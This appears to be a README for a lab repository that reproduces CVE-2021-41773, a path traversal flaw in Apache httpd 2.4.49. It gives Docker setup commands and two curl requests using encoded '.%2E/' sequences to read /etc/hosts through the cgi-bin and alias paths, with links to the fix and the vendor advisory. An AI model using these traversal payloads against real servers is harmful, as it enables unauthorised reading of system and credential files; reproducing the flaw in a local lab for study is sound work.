# CVE-2021-41773 (Apache httpd only 2.4.49)
For educational purposes only.
See Reference for the details.
## Run
```
$ git clone https://github.com/masahiro331/CVE-2021-41773.git
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run -d -p 8080:80 cve-2021-41773
```
## Exploit
```
# This vulnerability affects the use of Alias.
$ curl http://localhost:8080/cgi-bin/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
$ curl http://localhost:8080/webpath/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
```
## Reference
[Fixed commit](https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7)
[Vendor advisory](https://httpd.apache.org/security/vulnerabilities_24.html)Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view